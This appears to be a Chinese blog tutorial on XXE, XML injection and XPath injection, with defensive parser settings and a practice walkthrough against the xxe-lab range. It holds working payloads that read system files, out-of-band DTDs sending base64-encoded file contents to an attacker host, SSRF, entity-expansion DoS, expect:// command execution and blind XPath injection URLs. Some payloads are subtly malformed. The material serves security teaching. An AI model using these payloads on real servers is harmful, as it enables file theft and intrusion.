[Web安全 网络安全]-XXE 外部实体注入攻击XML

文章目录:

一:前言

1.定义

[1.1 XXE](#1.1 XXE)

[1.2 XML可扩展标记语言](#1.2 XML可扩展标记语言)

2.DDT文档类型定义

[2.1 分类](#2.1 分类)

[2.2 元素element](#2.2 元素element)

DTD元素

DTD属性

[2.3 实体entity](#2.3 实体entity)

DTD实体类别

DTD实体声明引用

[声明:内部 外部 参数实体 公共实体](#声明:内部 外部 参数实体 公共实体)

[引用:内部 外部](#引用:内部 外部)

3.如何找XXE漏洞

4.危害

5.防御

二:利用方式

1.有回显

[2.无回显blind xxe](#2.无回显blind xxe)

三:攻击方式

1.XML注入

2.XML外部实体注入(XXE)

[2.1 文件读取](#2.1 文件读取)

[2.2 服务器端请求伪造(SSRF)](#2.2 服务器端请求伪造(SSRF))

[2.3 拒绝服务(DoS)](#2.3 拒绝服务(DoS))

[2.4 盲XXE](#2.4 盲XXE)

[2.5 拒绝服务攻击](#2.5 拒绝服务攻击)

[2.6 RCE](#2.6 RCE)

[2.7 XInclude](#2.7 XInclude)

[2.8 端口扫描](#2.8 端口扫描)

[2.9 执行命令](#2.9 执行命令)

3.XPath注入

四:xxelib靶场练习

1.有回显

2.无回显

[DNS log方法](#DNS log方法)

盲打http接口数据写入文件方法


一:前言

1.定义

1.1 XXE

定义
    XXE Injection( XML Exiemal Entity Injection, XML外部实体注入攻击)攻击者可 以通过 XML 的外部实体来获取服务器中本应被保护的数据
    它允许攻击者通过XML文件或XML处理功能来注入外部实体,进而可能访问或操作服务器上的敏感文件、执行拒绝服务攻击(DoS)、扫描内部网络等

    在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容
    导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等

    对于XXE漏洞最为关键的部分是 DTD 文档类型, DTD的作用是定义XML文档的合法构建模块
    DTD可以在XML文档内声明, 也可以外部引用,libxml2.9.1 及以后, 默认不再解析外部实体


出现在
    XXE漏洞发生在"应用程序解析XML输入时,没有禁止外部实体的加载",导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

    XXE漏洞触发的点往往是"可以上传xml文件的位置",没有对上传的xml文件进行过滤,导致可上传恶意xml文件

举例

<?xml version="1.0" encoding="ISO-8859-1"?>  
<!DOCTYPE foo [  
    <!ENTITY xxe SYSTEM "file:///etc/passwd">          //定义了一个名为 xxe 的外部实体
]>  
<users>  
    <user>&xxe;</user>                                 //当这个XML文件被应用程序解析时,&xxe; 实体引用会被替换为 /etc/passwd 文件的内容,从而允许攻击者访问该文件
</users>

1.2 XML可扩展标记语言

XML 教程

定义:XML指可扩展标记语言,XML被设计用来传输和存储数据,你可以理解为就是一种写法类似于html语言的数据格式文档
     但是xml跟html是为不同目的而设计的,html旨在显示数据信息,而xml旨在传输数据信息


为什么需要XML
    现实生活中一些数据之间往往存在一定的关系
    我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系
    XML就是为了解决这样的需求而产生数据存储格式


特点
    XML用于标记电子文件,使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
    XML设计宗旨是存储传输数据,而不是显示数据
    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素


用途:配置文件、交换数据


格式要求
    XML文档必须有根元素
    XML文档必须有关闭标签
    XML标签对大小写敏感
    XML元素必须被正确的嵌套
    XML属性必须加引号
    XML中空格会被保留
    
    XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构
    这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的

XML基本格式与基本语法

                            <!--第一部分:XML声明部分-->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>        //xml文件的声明-称为 XML prolog 可选的
    //standalone值是yes的时候(默认值是no)表示DTD仅用于验证文档结构,从而外部实体将被禁用
    //若多个字符都需要转义,则可以将这些内容存放到CDATA里面:<![CDATA[ 内容 ]]>


                            <!--第二部分:文档类型定义DTD-->
<DOCTYPE note[
<!ENTITY entity-name SYSTEM "url/url">                        //外部实体声明
<!ELEMENT entity-name "内容">                                         //内部实体声明
]>


                            <!--第三部分:文档元素-->
<TranInfo>                                                    //根元素
    <CdtrInf>                                                 //子元素
        <Id>666</ID>
        <Nm>张三</Nm> 
    </CdtrInf>                       
     
    <DbtrInf>
        <Id>888</ID>
         <Nm>李四</Nm>  
    </DbtrInf>      
  
    <Amt>1000</Amt>                
</TranInfo>                                                   //根元素结束

2.DDT文档类型定义

文档类型定义DDT(Document Type Definition )与XML格式相关

作用是定义XML文档的合法构建模块,对XML的约束格式规范,也就是说声明了xml的内容格式规范

它使用一系列合法的元素来定义文档的结构

2.1 分类

第一种(element元素):和上面相互对应 元素应该出现的内容

<!DOCTYPE TranInfo[
    <!DOCTYPE TranInfo(CdtrInf,DbtrInf,Amt)>
    <!DOCTYPE CdtrInfo(Id,Nm)>
    <!DOCTYPE DBtrInfo(Id,Nm)>
]>

第二种(entity实体) :定义被引用的文件或字符,相当于全局变量

<?xml version="1.0" encoding="UTF-8">  
<!DOCTYPE name[
<!ELEMENT name ANY>
<!ELEMENT cs "changesha">                                //内部实体
<!ELEMENT xxe SYSTEM "file:///D:/test/test.dtd">         //外部实体test.dtd    <!DOCTYPE  cs "changesha">]>
]>

可以在其他地方引用这个实体

<?xml version="1.0" encoding="UTF-8">  
<!DOCTYPE name>
<people>
    <name>wangwu</name>
    <area>&cs</area>                //等价于<area>changsha</area>        内部实体
    <area>&xxe</area>               //等价于<area>changsha</area>        外部实体
</people>

2.2 元素element

DTD元素

|--------------|-------------------------------------|-----------------------------------------|
| 声明一个元素 | <!ENTITY 元素名称 类别> | <!ENTITY 元素名称 (元素内容)> |
| 空元素 | <!ENTITY 元素名称 EMPTY> | <!ENTITY <br> EMPTY </br>> |
| 只有PCDATA元素 | <!ENTITY 元素名称 (#PCDATA)> | <!ENTITY from (#PCDATA)> |
| 带有任何内容的元素 | <!ENTITY 元素名称 ANY> | <!ENTITY note ANY> |
| 带有子元素(序列)的元素 | <!ENTITY 元素名称 (子元素名称1,子元素名称2...)> | <!ENTITY note (to,from,heading,body)> |
| |||
| PCDATA的意思是:被解析的字符数据 PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开 被解析的字符数据不应当包含任何&<,或者>字符,需要用&amp; &lt; &gt;实体来分别替换 |||
| CDATA意思是:字符数据 CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开 |||

DTD属性
属性声明语法:<!ATTLIST 元素名称 属性名称 属性类型 默认值> 
    DTD实例:<!ATTLIST payment Luckey CDATA "Q">
    XML实例:<payment Luckey="Q" />

|-------|-----------------|----------------------|
| 属性 | 类型 | 描述 |
| 属性类型 | CDATA | 值为字符数据characher data |
| 属性类型 | (en1|en2|...) | 此值是枚举列表中的一个值 |
| 属性类型 | ID | 值为唯一的id |
| 属性类型 | IDREF | 值为另外一个元素的id |
| 属性类型 | IDREFS | 值为其他id的列表 |
| 属性类型 | NMTOKEN | 值为合法的xml名称 |
| 属性类型 | EMTOKENS | 值为合法的xml名称的列表 |
| 属性类型 | ENTITY | 值是一个实体 |
| 属性类型 | ENTITIES | 值是一个实体列表 |
| 属性类型 | NOTATION | 此值是符号的名称 |
| 属性类型 | xml | 值是一个预定义的xml值 |
| 默认属性值 | #REQUIRED | 属性值是必要的 |
| 默认属性值 | #IMPLIED | 属性值是不必要的 |
| 默认属性值 | #FIXED value | 属性值是固定的 |

2.3 实体entity

DTD实体类别

DTD实体entity:是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用

按实体有无参分类,实体分为:一般实体、参数实体

内置实体 (Built-in entities):直接用实体名称申明,引用时用&实体名称;只能在DTD中申明,可在xml文档中引用

字符实体 (Character entities):直接用实体名称申明,引用时用&实体名称;只能在DTD中申明,可在xml文档中引用

通用实体 (General entities):直接用实体名称申明,引用时用&实体名称;只能在DTD中申明,可在xml文档中引用


参数实体 (Parameter entities):用%实体名称申明,引用时也用%实体名称;只能在DTD中申明,DTD中引用
DTD实体声明引用
一般实体
    声明:<!ENTITY 实体名称 "实体内容">
    引用:&实体名称;
    可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用


参数实体
    声明:<!ENTITY % 实体名称 "实体内容">
    引用:%实体名称;
    只能在DTD中引用,不能在声明前引用,也不能在实体声明内部引用
声明:内部 外部 参数实体 公共实体

system代表本地计算机、public代表外部公告计算机

内部实体声明:<!ENTITY 实体名称 "实体的值">
        <!DOCTYPE foo [<!ELEMENT foo ANY >
        <!ENTITY xxe "oldboyedu.com">]>
        <foo>&xxe;</foo>


外部实体声明:<!ENTITY 实体名称 SYSTEM "URI/URL">
        <!DOCTYPE foo [<!ELEMENT foo ANY >
        <!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
        <foo>&xxe;</foo>

        支持协议
            libxml2    php                java        .net
            file       file               http        file
            http       http               https       https
            ftp        ftp                ftp         ftp
                       php                file
                       compress.zlib      jar
                       compress.bzip2     netdoc
                       data               mailto
                       glob               gopher*
                       phar


参数实体声明
        <!ENTITY % 实体名称 "实体的值">
        or
        <!ENTITY % 实体名称 SYSTEM "URI">

        示例:
            <!DOCTYPE foo [<!ELEMENT foo ANY >
            <!ENTITY  % xxe SYSTEM "http://192.168.0.105:8080/evil.dtd" >
            %xxe;]>
            <foo>&evil;</foo>

            外部evil.dtd中的内容
            <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >


引用公共实体:<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
         <!DOCTYPE foo [<!ELEMENT foo ANY >
         <!ENTITY  % xxe PUBLIC "public_ID" "http://192.168.0.105:8080/evil.dtd" >
         %xxe;]>
         <foo>&evil;</foo>
引用:内部 外部

DTD 可以在 XML 文档内声明,也可以外部引用

DTD内部声明:<!DOCTYPE 根元素 [元素声明]>
    <?xml version="1.0"?>
        <!DOCTYPE note[                                <!--定义此文档是 note 类型的文档-->
        <!ELEMENT note (to,from,heading,body)>         <!--定义note元素有四个元素-->
        <!ELEMENT to (#PCDATA)>                        <!--定义to元素为"#PCDATA"类型-->
        <!ELEMENT from (#PCDATA)>                      <!--定义from元素为"#PCDATA"类型-->
        <!ELEMENT head (#PCDATA)>                      <!--定义head元素为"#PCDATA"类型-->
        <!ELEMENT body (#PCDATA)>                      <!--定义body元素为"#PCDATA"类型-->
    ]>
    <note>
        <to>Y0u</to>
        <from>@re</from>
        <head>v3ry</head>
        <body>g00d!</body>
    </note>


引入外部的dtd文件
    <!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
使用外部的dtd文件,引用公共DTD(网络上的dtd文件)
    <!DOCTYPE 根元素名称 PUBLIC "DTD标识名public_ID" "公用DTD的URI">
当使用外部DTD时,通过如下语法引入
    <!DOCTYPE root-element SYSTEM "filename">


    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root-element SYSTEM "test.dtd">
    <note>
        <to>Y0u</to>
        <from>@re</from>
        <head>v3ry</head>
        <body>g00d!</body>
    </note>

    test.dtd
        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE note[
            <!ELEMENT note(to,from,heading,body)> 
            <!ELEMENT to (#PCDATA)>        <!--定义to元素为"#PCDATA"类型-->
            <!ELEMENT from (#PCDATA)>      <!--定义from元素为"#PCDATA"类型-->
            <!ELEMENT head (#PCDATA)>      <!--定义head元素为"#PCDATA"类型-->
            <!ELEMENT body (#PCDATA)>      <!--定义body元素为"#PCDATA"类型-->
        ]>

3.如何找XXE漏洞

白盒测试:查看代码里面是否使用了LoadXML( )函数


黑盒测试
    抓包看响应体是否存在xml,accept头是否接受xml:https://www.cnblogs.com/mysticbinary/p/12668547.html
    看到url文件名是否 .ashx后缀扩展名
    抓包修改数据类型,把json改成xml来传输数据

4.危害

任意文件读取

执行系统命令

探测内网端口

攻击内网网站

5.防御

1、升级php版本


2、程序员修改代码
    PHP:
        libxml_disable_entity_loader(true);

    JAVA:
        DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
        dbf.setExpandEntityReferences(false);
        setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
        setFeature("http://xml.org/sax/features/external-general-entities",false)
        setFeature("http://xml.org/sax/features/external-parameter-entities",false);

    Python:
        from lxml import etree
        xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))


3、过滤关键词XML数据
    <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC


4、不允许XML中含有自己定义的DTD


5、禁用DTD(文档类型定义)处理:大多数现代应用程序都不需要DTD,因此可以通过配置XML解析器来禁用DTD处理


6、限制或禁用外部实体引用:确保XML解析器配置为不允许或限制外部实体引用


7、使用安全的库和框架:选择经过良好维护和安全审核的库和框架,并确保它们支持XML的安全处理


8、输入验证:对XML输入进行严格的验证,确保它们不包含任何潜在的恶意内容


9、更新和补丁:定期更新你的应用程序和库,以确保它们包含最新的安全补丁


10、安全编码实践:培训开发人员了解XML注入和其他Web安全漏洞,并遵循最佳的安全编码实践

二:利用方式

1.有回显

可以直接在页面中看到payload的执行结果或现象

第一种
        <!DOCTYPE foo [<!ELEMENT foo ANY >
        <!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
        <foo>&xxe;</foo>


第二种
        <!DOCTYPE foo [<!ELEMENT foo ANY >
        <!ENTITY %xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
        %xxe;]>
        <foo>&evil;</foo>
        
        外部evil.dtd中的内容:<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

2.无回显blind xxe

可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件

建立*.dtd:内部的%号要进行实体编码成&#37
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
        <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.13.78:8080/?p=%file;'>">           

xml调用
        <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]>

三:攻击方式

1.XML注入

通过利用闭合标签改写XML文件实现的

定义:XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据
     需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击


前提条件
    a.用户能够控制数据的输入
    b.程序有拼凑的数据


两大要素
    标签闭合
    获取XML表结构


注入实例
    原代码demo.xml
        <?xml version="1.0" encoding="utf-8"?>
        <manager>
            <admin id="1">
            <username>admin</username>
            <password>admin</password>
            </admin>

            <admin id="2">
            <username>root</username>
            <password>root</password>
            </admin>
        </manager>

    对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入
        admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

    现代码:修改后(通过XML注入添加了一个名为hack、密码为:hacker的管理员账户)
        <?xml version="1.0" encoding="utf-8"?>
        <manager>
            <admin id="1">
            <name>admin</name>
            <password>admin</password>
            </admin>

            <admin id="2">
            <username>root</username>
            <password>root</password>
            </admin>

            <admin id="3">
            <name>hack</name>
            <password>hacker</password>
            </admin>
        </manager>


防御:对用户的输入进行过滤转义
    <            &lt;
    >            &gt;
    &            &amp;
    '            '
    "            &quot;

2.XML外部实体注入(XXE)

核心思想是通过构造恶意的XML文档来利用应用程序对XML解析的不当处理

2.1 文件读取

file:///                   #file协议读取文件
http://url/file.txt         #http协议读取站点下的文件
PHP://filter                #文件流形式读取php文件

攻击者通过在XML中引用外部实体来读取服务器上的敏感文件,如密码文件、配置文件等

<?xml version="1.0" encoding="ISO-8859-1"?>  
<!DOCTYPE foo [  
    <!ENTITY xxe SYSTEM "file:///etc/passwd">  
    <!ENTITY bomb "file:///dey/random">                  //读取随机文件XXE的炸弹
]>  
<users>  
    //&xxe; 实体被解析为 /etc/passwd 文件的内容,该文件包含了系统上的用户账户信息
    <user>&xxe;</user>  
</users>

2.2 服务器端请求伪造(SSRF)

通过指定一个网络资源的URI作为外部实体的位置,攻击者可以强制服务器向该资源发送请求,进而可能访问到内网中其他受保护的服务

<?xml version="1.0" encoding="ISO-8859-1"?>  
<!DOCTYPE foo [  
    <!ENTITY xxe SYSTEM "http://internal.example.com/admin/data">          //假设服务器配置允许HTTP请求
]>  
<users>  
    <user>&xxe;</user>  
</users>

如果XML解析器支持网络资源的解析,并且服务器配置不当,就可能发生此类攻击

2.3 拒绝服务(DoS)

通过指定一个大量数据的URI作为外部实体,或者指向一个缓慢响应的资源,攻击者可以使服务器忙于处理这些请求,从而消耗大量资源,导致服务不可用

<!DOCTYPE foo [  
    <!ENTITY bigfile SYSTEM "http://example.com/verybigfile.xml">  
]>  
<data>&bigfile;</data>

2.4 盲XXE

在某些情况下,应用程序可能不会直接返回XML解析的结果,这使得直接的文件读取或数据泄露变得不可能

然而,攻击者利用"盲XXE"攻击,通过外部实体触发服务器上的错误日志记录、DNS查询或其他可观察的副作用来推断信息

<!DOCTYPE foo [  
    <!ENTITY xxe SYSTEM "http://attacker.com/log?host=VICTIM_IP_HERE">  
]>  
<data>&xxe;</data>

在这个例子中,攻击者控制了一个Web服务器(attacker.com/log),该服务器会记录所有请求的查询参数

通过XXE攻击,攻击者可以强制受害者的服务器向他的服务器发送一个包含受害者IP地址的HTTP请求,从而获取受害者的IP地址信息

2.5 拒绝服务攻击

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

2.6 RCE

在某些情况下,如果目标系统上的其他组件(如Web服务器、数据库、或其他应用程序)存在可被XXE攻击利用的漏洞

并且这些组件能够执行系统命令或允许远程代码执行,那么XXE攻击就可能间接导致RCE

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

在这个例子中,&xxe;实体引用了一个外部实体,该实体通过expect://协议尝试执行id命令

如果Web服务器的PHP环境配置不当,允许解析这样的XML文件,并且expect扩展被启用

那么当服务器解析这个XML文件时,它可能会尝试执行id命令,并将命令的输出作为XML文件的一部分进行解析

2.7 XInclude

XInclude是XML规范的一部分,它允许从子文档中构建XML文档

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

2.8 端口扫描

<?xml version="1.0" encoding="UTF-8">  
<!DOCTYPE note[
<ENTITY xxe SYSTEM "http://127.0.0.3306">
]>
<login>&xxe</login>

2.9 执行命令

安装php的扩展expect

<?xml version="1.0" encoding="UTF-8">  
<!DOCTYPE note[
<ENTITY xxe SYSTEM "expect"//ipconfig">
]>
<login>&xxe</login>

3.XPath注入

简介
    XPath注入攻击是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码
    以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法
    它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容
    这种攻击可以有效地对付使用XPath查询(和XML数据库) 来执行身份验证、查找或者其它操作


出现地方
    XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据
    攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据
    当XML数据被用作账户验证时,攻击者还可以提升他的权限


原理
    通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作

    注入对象不是数据库users表,而是一个存储数据的XML文件
    因为xpath不存在访问控制,所以不会遇到许多在SQL注入中经常遇到的访问限制
    注入出现的位置也就是cookie,headers,request parameters/input等


直接注入
    demo.xml(存储用户名和密码)
        <?xml version="1.0" encoding="UTF-8"?>
        <root>
            <users> 
                <user> 
                    <id>1</id>
                    <username>test1</username>
                    <password>test1</password>
                </user> 
                <user> 
                    <id>2</id>
                    <username>test2</username>
                    <password>test2</password>
                </user>
            </users>
        </root>
    php(用于接收传入参数,并进行XML查询)
        <?php
            $xml=simplexml_load_file('demo.xml');
            $name=$_GET['name'];
            $pwd=$_GET['pwd'];
            $query="/root/users/user[username/text()='".$name."' and    password/text()='".$pwd."']";
        echo $query;
        $result=$xml->xpath($query);
        if($result){
            echo '<h2>Welcome</h2>';
            foreach($result as $key=>$value){
                echo '<br />ID:'.$value->id;
                echo '<br />Username:'.$value->username;
            }
        }
        ?>
    正常查询:/root/users/user[username/text()='test1'and password/text()='test1']
    攻击者在username字段中输入:' or 1=1 or ''='
    变成/root/users/user[username/text()='' or 1=1 or ''='' and password/text()='1']
    成功获取所有user数据。上面这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统


XPath盲注
    盲注根节点
        利用count(/*)判断根下节点
            http://127.0.0.1/xml/2.php?name=' or count(/*) = 1 or '1' = '2
        利用substring分割根节点的每个字符,猜解第一级节点
            http://127.0.0.1/xml/2.php?name=' or substring(name(/*[position() = 1]),1,1)='r' or '1'='2
            http://127.0.0.1/xml/2.php?name=' or substring(name(/*[position() = 1]),2,1)='o' or '1'='2
    盲注root的下一级节点
        判断root的下一级节点数
            http://127.0.0.1/xml/2.php?name=' or count(/root/*) = 1 or '1' = '2
        猜解root的下一级节点
            http://127.0.0.1/xml/2.php?name=' or substring(name(/root/*[position() = 1]),1,1)='u' or '1'='2
            http://127.0.0.1/xml/2.php?name=' or substring(name(/root/*[position() = 1]),2,1)='s' or '1'='2
        重复上述步骤,直至猜解出所有节点,最后来猜解节点中的数据或属性值


危害
    在URL及表单中提交恶意XPath代码,可获取到权限限制数据的访问权,并可修改这些数据
    可通过此类漏洞查询获取到系统内部完整的XML文档内容
    逻辑以及认证被绕过,它不像数据库那样有各种权限,xml没有各种权限的概念,正因为没有权限概念,因此利用xpath构造查询的时候整个数据库都会被用户读取


防御
    数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。
    检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。
    对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。
    参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。
    通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量

四:xxelib靶场练习

靶场地址:GitHub - c0ny1/xxe-lab: 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo

doLogin.php文件源码

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//这里面因为没有xml文档所以用的是php的伪协议来获取我们发送的xml文档

try{
    $dom = new DOMDocument();//创建XML的对象
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。
    $creds = simplexml_import_dom($dom);//这一步感觉相当于实例化xml文档

    $username = $creds->username;//获取username标签的值
    $password = $creds->password;//获取password标签的值

    if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。...
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必须要有username这个标签,不然的话找不到username,就没有了输出了,我们也不能通过回显来获取信息了
    }else{
        $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//与上方相同,都会输出username的值,都可以达到我们的目的
    }    
}catch(Exception $e){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

在该PHP文件中,主要是接收POST请求的内容, 并将其转化为XML对象,然后提取XML对象中的username和password字段。然后比对username和password是否相等

1.有回显

第一步:输入(账号 1 密码1)

第二步: 利用Burp查看xml代码

<user>
    <username>1</username>
    <password>1</password>
<user>

第三步:加入读取外部实体并引用

<!DOCTYPE a[
<ENTITY xxe SYSTEM "file:///C:Windows/system.ini">
]>


<user>
    <username>1 &xxe;</username>
    <password>1</password>
<user>

2.无回显

DNS log方法

第一步:dnslog获取子域名

第二步: 查看解析记录

<?xml version="1.0" encoding="UTF-8">  
<!DOCTYPE root[
<ENTITY %remote SYSTEM "wuyatest.wyz90i.dslog.cn">
%remote;
]>

盲打http接口数据写入文件方法

xml
    <?xml version="1.0" encoding="UTF-8">  
    <!DOCTYPE ANY[
    <ENTITY %remote SYSTEM "http://attacker.com/evil.dtd">
    %remote;
    ]>


evil.dtd
    <!ENTITY % file SYSTEM
        "php://filter/read=convert.base64-encode/resource=file:///c:/system.ini"
    >
    <!ENTITY % int "
        <!ENTITY &#37;send SYSTEM'hppt://192.168.1.42.135:8080?p=%file;'>
    ">
相关推荐
gjl_2 小时前
打点 - 泛微 E-Cology WorkflowServiceXml
笔记·web安全·网络安全
网络研究院2 小时前
网络战时代的端点安全演变
安全·端点·技能·需求·演变·网络战·时代
Beginner_bml3 小时前
TFTP协议
网络
KookeeyLena33 小时前
我想注册一批账号做矩阵,需要每次注册都切换一个ip吗
服务器·网络·tcp/ip
Fortinet_CHINA4 小时前
2024 Fortinet OT工业安全高峰论坛成功举办
人工智能·安全
安胜ANSCEN5 小时前
威胁检测与防范:如何及时、准确对抗安全风险
网络·安全·web安全·威胁检测·xdr·自动化响应·常态化安全运营
煸橙干儿~~6 小时前
HarmonyOS安全能力介绍
安全·harmonyos
kuiini6 小时前
python学习-13【网络编程】
网络·python·学习